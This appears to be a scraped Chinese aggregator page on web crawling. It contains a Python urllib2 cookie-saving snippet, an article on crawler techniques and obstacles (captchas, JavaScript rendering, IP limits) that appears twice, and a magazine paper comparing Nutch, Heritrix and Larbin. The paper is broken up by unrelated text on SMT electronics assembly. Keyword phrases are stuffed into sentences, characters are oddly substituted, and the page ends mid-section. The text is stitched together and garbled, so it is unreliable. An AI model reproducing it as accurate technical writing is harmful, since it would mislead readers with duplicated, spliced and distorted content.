handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com";) #opener返回的一個(gè)應答對象response
for item in mycookie:
print"name="+item.name
print"value="+item.value
filename='mycookie.txt'#設定保存的文件名
mycookie.save(filename,ignore_discard=True, ignore_expires=True)
  將里面的事例簡(jiǎn)單變型就可以得到本例,使用了CookieJar的泛型MozillaCookiJar,為什么呢?我們將MozillaCookiJar換成CookieJar試試,下面一張圖你能夠明白:
  
  CookieJar是沒(méi)有保存save屬性的~
  save()這個(gè)方式中:ignore_discard的意思是雖然cookies將被遺棄也將它保存出來(lái),ignore_expires的意思是假如在該文件中cookies早已存在,則覆蓋原文件寫(xiě)入,在這里,我們將這兩個(gè)全部設置為T(mén)rue。運行以后,cookies將被保存到cookie.txt文件中,我們查看一下內容:
  
  這樣我們就成功保存了我們想要的cookie
  3、從文件中獲取cookie并訪(fǎng)問(wèn)

一篇文章了解爬蟲(chóng)技術(shù)現況 豈安高調分享-

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 344 次瀏覽 ? 2020-07-04 08:01 ? 來(lái)自相關(guān)話(huà)題

  
  那是因為,其實(shí)是因為執行js代碼動(dòng)態(tài)添加到標簽上面的,所以這個(gè)時(shí)侯內容在js代碼上面的,而js的執行是在瀏覽器端的操作,所以用程序去懇求網(wǎng)頁(yè)地址的時(shí)侯,得到的response是網(wǎng)頁(yè)代碼和js的代碼,所以自己在瀏覽器端能看到內容,解析時(shí)因為js未執行,肯定找到指定HTML標簽下內容肯定為空,如百度的主頁(yè)就是這些,這個(gè)時(shí)侯的處理辦法,一般來(lái)講主要是要找到包含內容的js代碼串,然后通過(guò)正則表達式獲得相應的內容,而不是解析HTML標簽。B另一種情況是在和用戶(hù)交互時(shí),JavaScript可能會(huì )動(dòng)態(tài)生成一些dom,如點(diǎn)擊某個(gè)按鍵彈了一個(gè)對話(huà)框等;對于這些情況,一般這種內容都是一些用戶(hù)提示相關(guān)的內容,沒(méi)哪些價(jià)值,如果確實(shí)須要,可以剖析一下js執行邏輯,但這樣的情況極少。Ajax/Fetch異步懇求
  這種情況是現今太常見(jiàn)的,尤其是在內容以分頁(yè)方式顯示在網(wǎng)頁(yè)上,并且頁(yè)面無(wú)刷新,或者是對網(wǎng)頁(yè)進(jìn)行某個(gè)交互操作后,得到內容。對于這些頁(yè)面,分析的時(shí)侯我們要跟蹤所有的懇求,觀(guān)察數據究竟是在哪一步加載進(jìn)來(lái)的。然后當我們找到核心的異步懇求的時(shí)侯,就只需抓取這個(gè)異步懇求就可以了,如果原始網(wǎng)頁(yè)沒(méi)有任何有用信息,也沒(méi)必要去抓取原始網(wǎng)頁(yè)了。 爬蟲(chóng)技術(shù)的現況 01語(yǔ)言
  理論上來(lái)說(shuō),任何支持網(wǎng)路通訊的語(yǔ)言都是可以寫(xiě)爬蟲(chóng)的,爬蟲(chóng)本身其實(shí)語(yǔ)言關(guān)系不大,但是,總有相對順手、簡(jiǎn)單的。目前來(lái)說(shuō),大多數爬蟲(chóng)是用后臺腳本類(lèi)語(yǔ)言寫(xiě)的,其中python無(wú)疑是用的最多最廣的,并且頁(yè)誕生了好多優(yōu)秀的庫和框架,如scrapy、BeautifulSoup 、pyquery、Mechanize等。但是一般來(lái)說(shuō),搜索引擎的爬蟲(chóng)對爬蟲(chóng)的效率要求更高,會(huì )選用c++、java、go(適合高并發(fā)),詳情排名前50的開(kāi)源Web爬蟲(chóng)用于數據挖掘。我在學(xué)院時(shí)代就用c++實(shí)現了一個(gè)多線(xiàn)程的框架,但是發(fā)覺(jué)和python實(shí)現的爬蟲(chóng)效率提高并不顯著(zhù)nsf爬蟲(chóng)軟件,原因是,對于簡(jiǎn)單爬蟲(chóng)nsf爬蟲(chóng)軟件,瓶頸在于數據剖析及提取,而網(wǎng)路效率和語(yǔ)言關(guān)系并不大。值得一提的是,在近幾年node發(fā)展特別快, 使得javascript遍地開(kāi)花,有些人也開(kāi)始嘗試用node做爬蟲(chóng),但是,這也許和其它后臺腳本語(yǔ)言沒(méi)哪些區別,也不如python簡(jiǎn)單, 因為你仍然不能在node里發(fā)起ajax懇求,不能執行原網(wǎng)頁(yè)的dom。因為node的javascript執行環(huán)境和瀏覽器的執行環(huán)境并不相同。那么,難道就真的不能象在瀏覽器中一樣用js寫(xiě)爬蟲(chóng),用jquery提取內容嗎?想法太大膽,我們姑且擱置。 02運行環(huán)境
  爬蟲(chóng)本身不分辨究竟是運行在windows還是Linux,又或是OSX,但從業(yè)務(wù)角度講,我們把運行在服務(wù)端(后臺)的,稱(chēng)之為后臺爬蟲(chóng)。而如今,幾乎所有的爬蟲(chóng)都是后臺爬蟲(chóng)。后
  臺爬蟲(chóng)的三大問(wèn)題
  后臺爬蟲(chóng)在大行其道的時(shí)侯,也有著(zhù)些許棘手的、到目前也沒(méi)有哪些好的解決方案問(wèn)題,而歸根結底,這些問(wèn)題的根本緣由是因為后臺爬蟲(chóng)的先天不足造成,在即將討論之前,我們先思索一個(gè)問(wèn)題,“爬蟲(chóng)和瀏覽器有哪些優(yōu)缺?” 01相同點(diǎn)
  本質(zhì)上都是通過(guò)http/https合同懇求互聯(lián)網(wǎng)數據 02不同點(diǎn)
  爬蟲(chóng)通常為自動(dòng)化程序,無(wú)需用用戶(hù)交互,而瀏覽器不是;運行場(chǎng)景不同;瀏覽器運行在客戶(hù)端,而爬蟲(chóng)通常都跑在服務(wù)端;能力不同;瀏覽器包含渲染引擎、javascript虛擬機,而爬蟲(chóng)通常都不具備這三者。了解了這種,我們再來(lái)瞧瞧后臺面臨的問(wèn)題:01問(wèn)題一:交互問(wèn)題
  有些網(wǎng)頁(yè)常常須要和用戶(hù)進(jìn)行一些交互,進(jìn)而能夠走到下一步,比如輸入一個(gè)驗證碼,拖動(dòng)一個(gè)滑塊,選幾個(gè)漢字。網(wǎng)站之所以如此做,很多時(shí)侯都是為了驗證訪(fǎng)問(wèn)者究竟是人還是機器。 而爬蟲(chóng)程序遇見(jiàn)這些情況很難處理,傳統的簡(jiǎn)單圖片驗證碼可以通過(guò)圖形處理算法讀出內容,但是隨著(zhù)各種各樣,花樣百出,人神共憤的、變態(tài)的驗證碼越來(lái)越多(尤其是買(mǎi)火車(chē)票時(shí),分分鐘都想爆臟話(huà)),這個(gè)問(wèn)題就越來(lái)越嚴重。
  02問(wèn)題二:Javascript 解析問(wèn)題
  如前文所述,javascript可以動(dòng)態(tài)生成dom。目前大多數網(wǎng)頁(yè)屬于動(dòng)態(tài)網(wǎng)頁(yè)(內容由javascript動(dòng)態(tài)填充),尤其是在移動(dòng)端,SPA/PWA應用越來(lái)越流行,網(wǎng)頁(yè)中大多數有用的數據都是通過(guò)ajax/fetch動(dòng)態(tài)獲取后之后再由js填充到網(wǎng)頁(yè)dom樹(shù)中,單純的html靜態(tài)頁(yè)面中有用的數據甚少。 目前主要應對的方案就是對于js ajax/fetch懇求直接懇求ajax/fetch的url ,但是還有一些ajax的懇求參數會(huì )依賴(lài)一段javascript動(dòng)態(tài)生成,比如一個(gè)懇求簽名,再例如用戶(hù)登錄時(shí)對密碼的加密等等,如果一昧的去用后臺腳本去干javascript原本做的事,這就要清楚的理解原網(wǎng)頁(yè)代碼邏輯,而這除了特別麻煩,而且會(huì )使你的爬取代碼異常龐大臃腫。 但是,更致命的是,有些javascript可以做的事爬蟲(chóng)程序是很難甚至是不能模仿的,比如有些網(wǎng)站使用拖動(dòng)滑塊到某個(gè)位置的驗證碼機制,這就很難再爬蟲(chóng)中去模仿。 其實(shí),總結一些,這些弊病歸根結底,是因為爬蟲(chóng)程序并非是瀏覽器,沒(méi)有javascript解析引擎所致。針對這個(gè)問(wèn)題,目前主要的應對策略就是在爬蟲(chóng)中引入Javascript 引擎,如PhantomJS,但是又有著(zhù)顯著(zhù)的弊病,如服務(wù)器同時(shí)有多個(gè)爬取任務(wù)時(shí),資源占用很大。
  還有就是,這些無(wú)窗口的javascript引擎好多時(shí)侯使用上去并不能象在瀏覽器環(huán)境中一樣,頁(yè)面內部發(fā)生跳轉時(shí),會(huì )導致流程很難控制。03問(wèn)題三:IP限制
  這是目前對后臺爬蟲(chóng)中最致命的。網(wǎng)站的防火墻會(huì )對某個(gè)固定ip在某段時(shí)間內懇求的次數做限制,如果沒(méi)有超過(guò)上線(xiàn)則正常返回數據,超過(guò)了,則拒絕懇求,如qq郵箱。 值得說(shuō)明的是,ip限制有時(shí)并非是專(zhuān)門(mén)為了針對爬蟲(chóng)的,而大多數時(shí)侯是出于網(wǎng)站安全緣由針對DOS攻擊的防御舉措。后臺爬取時(shí)機器和ip有限,很容易達到上線(xiàn)而造成懇求被拒絕。目前主要的應對方案是使用代理,這樣一來(lái)ip的數目都會(huì )多一些,但代理ip仍然有限,對于這個(gè)問(wèn)題,根本不可能徹底解決。 作者:lazydu 查看全部

  
  那是因為,其實(shí)是因為執行js代碼動(dòng)態(tài)添加到標簽上面的,所以這個(gè)時(shí)侯內容在js代碼上面的,而js的執行是在瀏覽器端的操作,所以用程序去懇求網(wǎng)頁(yè)地址的時(shí)侯,得到的response是網(wǎng)頁(yè)代碼和js的代碼,所以自己在瀏覽器端能看到內容,解析時(shí)因為js未執行,肯定找到指定HTML標簽下內容肯定為空,如百度的主頁(yè)就是這些,這個(gè)時(shí)侯的處理辦法,一般來(lái)講主要是要找到包含內容的js代碼串,然后通過(guò)正則表達式獲得相應的內容,而不是解析HTML標簽。B另一種情況是在和用戶(hù)交互時(shí),JavaScript可能會(huì )動(dòng)態(tài)生成一些dom,如點(diǎn)擊某個(gè)按鍵彈了一個(gè)對話(huà)框等;對于這些情況,一般這種內容都是一些用戶(hù)提示相關(guān)的內容,沒(méi)哪些價(jià)值,如果確實(shí)須要,可以剖析一下js執行邏輯,但這樣的情況極少。Ajax/Fetch異步懇求
  這種情況是現今太常見(jiàn)的,尤其是在內容以分頁(yè)方式顯示在網(wǎng)頁(yè)上,并且頁(yè)面無(wú)刷新,或者是對網(wǎng)頁(yè)進(jìn)行某個(gè)交互操作后,得到內容。對于這些頁(yè)面,分析的時(shí)侯我們要跟蹤所有的懇求,觀(guān)察數據究竟是在哪一步加載進(jìn)來(lái)的。然后當我們找到核心的異步懇求的時(shí)侯,就只需抓取這個(gè)異步懇求就可以了,如果原始網(wǎng)頁(yè)沒(méi)有任何有用信息,也沒(méi)必要去抓取原始網(wǎng)頁(yè)了。 爬蟲(chóng)技術(shù)的現況 01語(yǔ)言
  理論上來(lái)說(shuō),任何支持網(wǎng)路通訊的語(yǔ)言都是可以寫(xiě)爬蟲(chóng)的,爬蟲(chóng)本身其實(shí)語(yǔ)言關(guān)系不大,但是,總有相對順手、簡(jiǎn)單的。目前來(lái)說(shuō),大多數爬蟲(chóng)是用后臺腳本類(lèi)語(yǔ)言寫(xiě)的,其中python無(wú)疑是用的最多最廣的,并且頁(yè)誕生了好多優(yōu)秀的庫和框架,如scrapy、BeautifulSoup 、pyquery、Mechanize等。但是一般來(lái)說(shuō),搜索引擎的爬蟲(chóng)對爬蟲(chóng)的效率要求更高,會(huì )選用c++、java、go(適合高并發(fā)),詳情排名前50的開(kāi)源Web爬蟲(chóng)用于數據挖掘。我在學(xué)院時(shí)代就用c++實(shí)現了一個(gè)多線(xiàn)程的框架,但是發(fā)覺(jué)和python實(shí)現的爬蟲(chóng)效率提高并不顯著(zhù)nsf爬蟲(chóng)軟件,原因是,對于簡(jiǎn)單爬蟲(chóng)nsf爬蟲(chóng)軟件,瓶頸在于數據剖析及提取,而網(wǎng)路效率和語(yǔ)言關(guān)系并不大。值得一提的是,在近幾年node發(fā)展特別快, 使得javascript遍地開(kāi)花,有些人也開(kāi)始嘗試用node做爬蟲(chóng),但是,這也許和其它后臺腳本語(yǔ)言沒(méi)哪些區別,也不如python簡(jiǎn)單, 因為你仍然不能在node里發(fā)起ajax懇求,不能執行原網(wǎng)頁(yè)的dom。因為node的javascript執行環(huán)境和瀏覽器的執行環(huán)境并不相同。那么,難道就真的不能象在瀏覽器中一樣用js寫(xiě)爬蟲(chóng),用jquery提取內容嗎?想法太大膽,我們姑且擱置。 02運行環(huán)境
  爬蟲(chóng)本身不分辨究竟是運行在windows還是Linux,又或是OSX,但從業(yè)務(wù)角度講,我們把運行在服務(wù)端(后臺)的,稱(chēng)之為后臺爬蟲(chóng)。而如今,幾乎所有的爬蟲(chóng)都是后臺爬蟲(chóng)。后
  臺爬蟲(chóng)的三大問(wèn)題
  后臺爬蟲(chóng)在大行其道的時(shí)侯,也有著(zhù)些許棘手的、到目前也沒(méi)有哪些好的解決方案問(wèn)題,而歸根結底,這些問(wèn)題的根本緣由是因為后臺爬蟲(chóng)的先天不足造成,在即將討論之前,我們先思索一個(gè)問(wèn)題,“爬蟲(chóng)和瀏覽器有哪些優(yōu)缺?” 01相同點(diǎn)
  本質(zhì)上都是通過(guò)http/https合同懇求互聯(lián)網(wǎng)數據 02不同點(diǎn)
  爬蟲(chóng)通常為自動(dòng)化程序,無(wú)需用用戶(hù)交互,而瀏覽器不是;運行場(chǎng)景不同;瀏覽器運行在客戶(hù)端,而爬蟲(chóng)通常都跑在服務(wù)端;能力不同;瀏覽器包含渲染引擎、javascript虛擬機,而爬蟲(chóng)通常都不具備這三者。了解了這種,我們再來(lái)瞧瞧后臺面臨的問(wèn)題:01問(wèn)題一:交互問(wèn)題
  有些網(wǎng)頁(yè)常常須要和用戶(hù)進(jìn)行一些交互,進(jìn)而能夠走到下一步,比如輸入一個(gè)驗證碼,拖動(dòng)一個(gè)滑塊,選幾個(gè)漢字。網(wǎng)站之所以如此做,很多時(shí)侯都是為了驗證訪(fǎng)問(wèn)者究竟是人還是機器。 而爬蟲(chóng)程序遇見(jiàn)這些情況很難處理,傳統的簡(jiǎn)單圖片驗證碼可以通過(guò)圖形處理算法讀出內容,但是隨著(zhù)各種各樣,花樣百出,人神共憤的、變態(tài)的驗證碼越來(lái)越多(尤其是買(mǎi)火車(chē)票時(shí),分分鐘都想爆臟話(huà)),這個(gè)問(wèn)題就越來(lái)越嚴重。
  02問(wèn)題二:Javascript 解析問(wèn)題
  如前文所述,javascript可以動(dòng)態(tài)生成dom。目前大多數網(wǎng)頁(yè)屬于動(dòng)態(tài)網(wǎng)頁(yè)(內容由javascript動(dòng)態(tài)填充),尤其是在移動(dòng)端,SPA/PWA應用越來(lái)越流行,網(wǎng)頁(yè)中大多數有用的數據都是通過(guò)ajax/fetch動(dòng)態(tài)獲取后之后再由js填充到網(wǎng)頁(yè)dom樹(shù)中,單純的html靜態(tài)頁(yè)面中有用的數據甚少。 目前主要應對的方案就是對于js ajax/fetch懇求直接懇求ajax/fetch的url ,但是還有一些ajax的懇求參數會(huì )依賴(lài)一段javascript動(dòng)態(tài)生成,比如一個(gè)懇求簽名,再例如用戶(hù)登錄時(shí)對密碼的加密等等,如果一昧的去用后臺腳本去干javascript原本做的事,這就要清楚的理解原網(wǎng)頁(yè)代碼邏輯,而這除了特別麻煩,而且會(huì )使你的爬取代碼異常龐大臃腫。 但是,更致命的是,有些javascript可以做的事爬蟲(chóng)程序是很難甚至是不能模仿的,比如有些網(wǎng)站使用拖動(dòng)滑塊到某個(gè)位置的驗證碼機制,這就很難再爬蟲(chóng)中去模仿。 其實(shí),總結一些,這些弊病歸根結底,是因為爬蟲(chóng)程序并非是瀏覽器,沒(méi)有javascript解析引擎所致。針對這個(gè)問(wèn)題,目前主要的應對策略就是在爬蟲(chóng)中引入Javascript 引擎,如PhantomJS,但是又有著(zhù)顯著(zhù)的弊病,如服務(wù)器同時(shí)有多個(gè)爬取任務(wù)時(shí),資源占用很大。
  還有就是,這些無(wú)窗口的javascript引擎好多時(shí)侯使用上去并不能象在瀏覽器環(huán)境中一樣,頁(yè)面內部發(fā)生跳轉時(shí),會(huì )導致流程很難控制。03問(wèn)題三:IP限制
  這是目前對后臺爬蟲(chóng)中最致命的。網(wǎng)站的防火墻會(huì )對某個(gè)固定ip在某段時(shí)間內懇求的次數做限制,如果沒(méi)有超過(guò)上線(xiàn)則正常返回數據,超過(guò)了,則拒絕懇求,如qq郵箱。 值得說(shuō)明的是,ip限制有時(shí)并非是專(zhuān)門(mén)為了針對爬蟲(chóng)的,而大多數時(shí)侯是出于網(wǎng)站安全緣由針對DOS攻擊的防御舉措。后臺爬取時(shí)機器和ip有限,很容易達到上線(xiàn)而造成懇求被拒絕。目前主要的應對方案是使用代理,這樣一來(lái)ip的數目都會(huì )多一些,但代理ip仍然有限,對于這個(gè)問(wèn)題,根本不可能徹底解決。 作者:lazydu

主流開(kāi)源爬蟲(chóng)框架比較與剖析

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 355 次瀏覽 ? 2020-07-03 08:01 ? 來(lái)自相關(guān)話(huà)題

   65 ELECTRONICS WORLD 探求與觀(guān)察(下轉第67頁(yè))主流開(kāi)源爬蟲(chóng)框架比較與剖析北京工商大學(xué) 劉 雯【摘要】網(wǎng)絡(luò )爬蟲(chóng)是搜索引擎與信息檢索的基礎工具,在信息采集、信息過(guò)濾等場(chǎng)景中有著(zhù)廣泛的應用。本文首先介紹了URL鏈接庫、文檔內容模塊、文檔解析模塊等爬蟲(chóng)基礎概念,然后對比剖析了Nutch、Heritrix、Larbin、Scrapy等主流開(kāi)源爬蟲(chóng)框架?!娟P(guān)鍵詞】網(wǎng)絡(luò )爬蟲(chóng);數據采集;搜索引擎1.引言近些年來(lái),隨著(zhù)互聯(lián)網(wǎng)的高速發(fā)展,網(wǎng)絡(luò )中的數據呈現出了爆炸式的下降,如何搜集整合這種數據并從中提取出有效的信息,引發(fā)了多方面的挑戰。面對這種挑戰,爬蟲(chóng)技術(shù)得到了充分的注重。開(kāi)源網(wǎng)路爬蟲(chóng)框架促使爬蟲(chóng)的開(kāi)發(fā)與應用變的高效方便。各個(gè)開(kāi)源爬蟲(chóng)框架的實(shí)現語(yǔ)言與功能不完全相同,適用場(chǎng)景也不盡相同,需要對比不同開(kāi)源爬蟲(chóng)框架之間的好壞。2.爬蟲(chóng)的相關(guān)概念網(wǎng)路爬蟲(chóng)是用于互聯(lián)網(wǎng)采集的一種工具,通常又被稱(chēng)為網(wǎng)路機器人。在數據挖掘、信息檢索等領(lǐng)域,網(wǎng)絡(luò )爬蟲(chóng)被廣泛使用,從而獲取最原始的數據。網(wǎng)絡(luò )爬蟲(chóng)也是信息檢索和搜索引擎的重要組成部份,通過(guò)網(wǎng)路爬蟲(chóng)采集到的信息,經(jīng)過(guò)搜索引擎的整合,可以更好的用于檢索。
  2.1 網(wǎng)路爬蟲(chóng)的組成部分主流爬蟲(chóng)框架一般由以下部份組成:1. 種子URL庫:URL用于定位互聯(lián)網(wǎng)中的各種資源,如最常見(jiàn)的網(wǎng)頁(yè)鏈接,還有常見(jiàn)的文件資源、流媒體資源等。種子URL庫作為網(wǎng)絡(luò )爬蟲(chóng)的入口,標識出爬蟲(chóng)應當從何處開(kāi)始運行,指明了數據來(lái)源。2.數據下載器:針對不同的數據種類(lèi),需要不同的下載形式。主流爬蟲(chóng)框架通暢提供多種數據下載器,用來(lái)下載不同的資源,如靜態(tài)網(wǎng)頁(yè)下載器、動(dòng)態(tài)網(wǎng)頁(yè)下載器、FTP下載器等。3.過(guò)濾器:對于早已爬取的URL,智能的爬蟲(chóng)須要對其進(jìn)行過(guò)濾,以提升爬蟲(chóng)的整體效率。常用的過(guò)濾器有基于集合的過(guò)濾器、基于布隆過(guò)濾的過(guò)濾器等。4.流程調度器:合理的調度爬取流程,也可以提升爬蟲(chóng)的整體效率。在流程調度器中,通常提供深度優(yōu)先爬取、廣度優(yōu)先爬取、訂制爬取等爬取策略。同時(shí)提供單線(xiàn)程、多線(xiàn)程等多種爬取方法。2.2 網(wǎng)絡(luò )爬蟲(chóng)的爬取策略網(wǎng)路爬蟲(chóng)的爬取策略,可以更高效的組織爬蟲(chóng)的爬取過(guò)程。常見(jiàn)的爬取策略包括深度優(yōu)先爬取、深度優(yōu)先爬取、訂制爬取等策略等。1.深度優(yōu)先爬?。涸摬呗栽谂廊∶课籙RL資源后,會(huì )隨機爬取改URL對應的所有子URL資源,直到全部子URL資源全部爬取完畢,再爬取下一個(gè)URL資源。
  深度優(yōu)先爬取更關(guān)注數據的深度,希望通過(guò)爬取更多的子URL資源,來(lái)獲取更深層次的數據。2.廣度優(yōu)先爬?。涸摬呗栽谂廊∨鋫€(gè)URL資源時(shí),會(huì )繼續爬取同層次的其他URL資源,當本層的URL資源都被爬取完畢后,再爬取下一次URL資源。廣度優(yōu)先爬取更關(guān)注數據的廣度,這樣可以囊括更全面的數據。3.訂制爬?。涸俸枚鄨?chǎng)景中,深度優(yōu)先爬取或廣度優(yōu)先爬取未能滿(mǎn)足復雜的數據采集需求,此時(shí)須要定制爬取策略,如垂直搜索策略,先通過(guò)制訂關(guān)鍵詞進(jìn)行搜索后開(kāi)源爬蟲(chóng)框架,再結合深度優(yōu)先爬取或廣度優(yōu)先爬取,才可以獲取到垂直領(lǐng)域的特定數據。2.3 爬蟲(chóng)的增量爬取從數據的角度看,有些爬蟲(chóng)只進(jìn)行單次的爬取操作,而有些爬蟲(chóng)須要進(jìn)行增量爬取,用來(lái)積累數據。對于單次爬取的網(wǎng)路爬蟲(chóng),實(shí)現較為簡(jiǎn)單,因為不用考慮過(guò)濾去重等操作,所以模塊相對較少。單次爬取的爬蟲(chóng)主要考慮爬取的效率,有時(shí)會(huì )通過(guò)多線(xiàn)程或多進(jìn)程等形式提升爬取效率。對于須要增量爬取的網(wǎng)路爬蟲(chóng)。通常須要對URL鏈接、資源內容等進(jìn)行過(guò)濾和去重。每次爬取的時(shí)侯,需要對比數據是否重復,并將早已爬取過(guò)的內容過(guò)濾掉,從而降低冗余數據的爬取和儲存。實(shí)際應用中,增量爬蟲(chóng)的使用較為廣泛。3.主流開(kāi)源爬蟲(chóng)框架爬蟲(chóng)技術(shù)發(fā)展至今,已經(jīng)非常成熟,同時(shí)也形成了好多開(kāi)源的爬蟲(chóng)框架,入Nutch、Heritrix、Larbin、Scrapy,這些開(kāi)源框架的實(shí)現語(yǔ)言與功能各不相同,以下是這幾款開(kāi)源爬蟲(chóng)框架的比較與剖析。
  3.1 NutchNutch是一個(gè)比較小型的開(kāi)源框架,也是隸屬于A(yíng)pache基金會(huì )的一個(gè)開(kāi)源項目。Nutch最初服務(wù)于Lucene項目,Lucene是一個(gè)完整的搜索引擎框架,其中Nutch提供數據爬取服務(wù)。因為L(cháng)ucene是一個(gè)通用的搜索引擎框架,所以Nutch在設計之初也主要用于通用數據的爬取。在滿(mǎn)足通用需求的同時(shí),Nutch犧牲了一些多樣化開(kāi)發(fā)的特點(diǎn)。優(yōu)點(diǎn):Nutch適用于各類(lèi)規模的爬取任務(wù),底層可以和Hadoop平臺對接,提供分布式的爬取功能,同時(shí)支持分布式的調度及分布式的儲存。為了擴充各種多樣化功能,Nutch設計了插件框架,可以通過(guò)添加插件,來(lái)實(shí)現愈發(fā)復雜的爬取功能。缺點(diǎn):雖然有插件框架,但是Nutch的多樣化開(kāi)發(fā)成本仍然較高。 在使用默認的配置過(guò)濾文件是,是不抓取動(dòng)態(tài)網(wǎng)頁(yè)的,要想爬取動(dòng)態(tài)網(wǎng)頁(yè)須要更改過(guò)濾規則。3.2 HeritrixHeritrix是基于Java語(yǔ)言的爬蟲(chóng)框架,因其可擴展型和豐富的各種組件而聞名。但配置相對繁雜,所以學(xué)習成本過(guò)高。Heritrix提供了多種下載器,用于下載網(wǎng)頁(yè)、流媒體等多種類(lèi)型的數據。Heritrix還提供了圖形界面拿來(lái)管理爬蟲(chóng),可以通過(guò)網(wǎng)頁(yè)來(lái)啟動(dòng)貨控制各種爬蟲(chóng)。
  優(yōu)點(diǎn):Heritrix的爬蟲(chóng)訂制參數多包括,可設置輸出日志、可設置多線(xiàn)程采集模式、可設置下載速率上限等 開(kāi)發(fā)者可以通過(guò)更改組件的參數,來(lái)高效的更改爬蟲(chóng)功能 。缺點(diǎn):Heritrix很難實(shí)現分布式爬取,因為多個(gè)單獨爬蟲(chóng)之間,無(wú)法合作完成爬取任務(wù),可擴展性較差。在爬取失敗時(shí),也缺少重萬(wàn)方數據 67 ELECTRONICS WORLD 探求與觀(guān)察工作臺處于清潔的狀態(tài),并監督工作人員防靜電腕帶的配戴情況,且使用的鉗子須要具有防靜電的功能,或者在取料的時(shí)侯利用真空吸筆完成,放置靜電在元器件于手接觸時(shí)形成,第四,定期對相關(guān)設施進(jìn)行防靜電測試處理 [6] 。二、SMT表面貼裝技術(shù)的發(fā)展趨勢近些年來(lái),我國科學(xué)技術(shù)水平在社會(huì )經(jīng)濟快速發(fā)展的影響下得到了迅猛發(fā)展,表面貼裝技術(shù)在此背景下也獲得了寬廣的發(fā)展空間,并將會(huì )以小型化、精細化的方向不斷發(fā)展。針對SMT表面貼裝技術(shù)的發(fā)展趨勢進(jìn)行剖析可以發(fā)覺(jué),在未來(lái)的發(fā)展過(guò)程中,將會(huì )大幅度縮小SDC/SMD的容積,并其而不斷擴大其生產(chǎn)數目,就現階段表面貼裝技術(shù)的發(fā)展現況而言,將0603以及1005型表面貼膜式電容和內阻商品化的目的已然實(shí)現。同時(shí),集成電路的發(fā)展方向將會(huì )是小型化和STM化,現階段,市場(chǎng)上早已出現了腿寬度為0.3mm的IC業(yè),其發(fā)展方向將是BGA。
  此外,焊接技術(shù)也將會(huì )逐步趨向成熟階段,惰性氣體于1994年便早已被點(diǎn)焊設備廠(chǎng)家制造下來(lái)以滿(mǎn)足回流焊以及波峰焊的需求。與此同時(shí)免清洗工業(yè)也涌現下來(lái)但是應用非常廣泛。最后,測試設備以及貼片設備的效率將會(huì )大幅度提高,且靈活性也會(huì )不斷增強。目前,在使用SMT技術(shù)的時(shí)侯,其貼片速率大概在5500片/h左右,通過(guò)使用高柔化和智能化的貼片系統促使制造商的生產(chǎn)成品被大幅度增加,進(jìn)而促使生產(chǎn)效率以及精度的提高,并且豐富了貼片的功能 [7] 。三、結束語(yǔ)與傳統的THT而言,SMT的優(yōu)勢主要表現在其性能好、組裝密度高以及體積小和可靠性強等方面,受到其上述優(yōu)勢的影響,現階段電子設備以及電子產(chǎn)品的裝配技術(shù)均以SMT為主,并且在電子產(chǎn)品的生產(chǎn)制造領(lǐng)域得到廣泛應用。盡管在實(shí)際應用的時(shí)侯,SMT仍然表現出一些不足之處,但是與其所發(fā)揮的正面影響對比,這些不足并不影響該技術(shù)應用價(jià)值。所以,需要加強SMT技術(shù)的宣傳力度,促進(jìn)其應用可以覆蓋更多領(lǐng)域。與此同時(shí),還須要加到對該技術(shù)的研究力度,對其各項工藝流程給以建立,促進(jìn)其所用得到充分發(fā)揮,繼而有助于電子產(chǎn)品工藝制程清潔化、裝備模塊化、生產(chǎn)集成化和自動(dòng)化的愿景盡快實(shí)現,為電子行業(yè)的可持續發(fā)展提供可靠保障。
  參考文獻[1] 楊柳.SMT表面貼裝技術(shù)工藝應用實(shí)踐[J].科研,2016(8):00079-00079.[2]孫丹妮,周娟,耿豪凱,等.累積和與指數加權移動(dòng)平均控制圖在表面貼裝技術(shù)中的應用及仿真[J].機械制造,2017,55(3):77-80.[3]朱飛飛.談電子工業(yè)中SMT技術(shù)的工藝研究和發(fā)展趨勢[J].科研,2016(8):00286-00286.[4] 高文璇.Protel DXP技術(shù)與SMT技術(shù)在現今電子產(chǎn)業(yè)中的應用[J].電子世 界,2014(6):95-95.[5]王婷,方子正.SMD型表面貼裝元件殼體生產(chǎn)中技術(shù)難點(diǎn)和解決舉措[J].工程技術(shù):全文版,2016(7):00253-00253.[6]周超.闡述SMT表面貼裝技術(shù)工藝應用與發(fā)展趨勢[J].科研,2016(12):00008-00008.[7]李金明.電子工業(yè)中SMT技術(shù)工藝研究及發(fā)展趨勢[J].電子技術(shù)與軟件工程,2016(13):139-139.(上接第65頁(yè))試等機制,導致開(kāi)發(fā)者須要做好多額外工作來(lái)填補那些設計上的缺位。不同于Nutch框架開(kāi)源爬蟲(chóng)框架,僅憑Heritrix不能完成搜索引擎的全部工作,而只能完成爬蟲(chóng)階段的爬取工作。
  3.3 LarbinLarbin是一個(gè)基于C++語(yǔ)言的爬蟲(chóng)框架。Larbin提供了相對簡(jiǎn)單單非常易用的爬蟲(chóng)功能。單機Larbin爬蟲(chóng)可以每晚獲取百萬(wàn)量級的網(wǎng)頁(yè)。單Larbin不提供網(wǎng)頁(yè)解析服務(wù),也不考慮內容的儲存及處理。如果象使用Larbin進(jìn)行小型系統的實(shí)現,則須要自行開(kāi)發(fā)相應的其他組件。優(yōu)點(diǎn):指定入口URL后,可以手動(dòng)擴充,甚至整個(gè)網(wǎng)站鏡像;支持通過(guò)后綴名對抓取網(wǎng)頁(yè)進(jìn)行過(guò)濾;只保存原始網(wǎng)頁(yè);利用C++開(kāi)發(fā),非常高效。缺點(diǎn):只有網(wǎng)頁(yè)下載器,而沒(méi)有網(wǎng)頁(yè)解析器。不支持分布式爬取。沒(méi)有手動(dòng)重試功能。該項目在2003年后停止開(kāi)發(fā)維護。 3.4 